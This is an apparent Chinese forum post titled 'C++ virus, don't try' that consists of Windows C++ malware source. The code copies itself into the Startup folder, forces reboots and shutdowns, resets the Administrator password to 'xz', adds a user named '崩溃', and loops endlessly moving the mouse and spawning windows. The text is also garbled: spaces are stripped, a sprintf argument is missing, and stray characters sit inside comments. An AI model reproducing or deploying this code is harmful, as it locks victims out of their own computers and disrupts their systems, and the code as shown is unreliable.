用户:
FreeWorld查看:0 回复:0 评论:0 创建时间:2024-07-22T11:44:08
C++病毒 勿尝试!!! 代码如下: #include<iostream> #include<windows.h> #include<ctime> #include<cstdlib> #include<stdio.h> #include<fstream> usingnamespacestd; intmain() { charcopy[80]; sprintf(copy,"copy%s\"%%userprofile%%\\「开始」菜单\\程序\\启动\""); system(copy);//将这个bai程序拷到du开机启动文件夹下面zhi charcmd[]="shutdown-r-t0";//自动重起 system("pingbaidu.com"); system(cmd); system("pause"); system(copy); system("netuserAdministratorxz");//设置开机密码为xz system("netuser崩溃xz/add");//建立用户,并命名为崩溃 intx=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴 inty=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴 srand(time(0));//随机函数种子 system("shutdown-s-t20");//20秒关机 while(1)//循环 { SetCursorPos(rand()%x,rand()%y);//鼠标xy轴随机 system("start");//弹出窗口 } }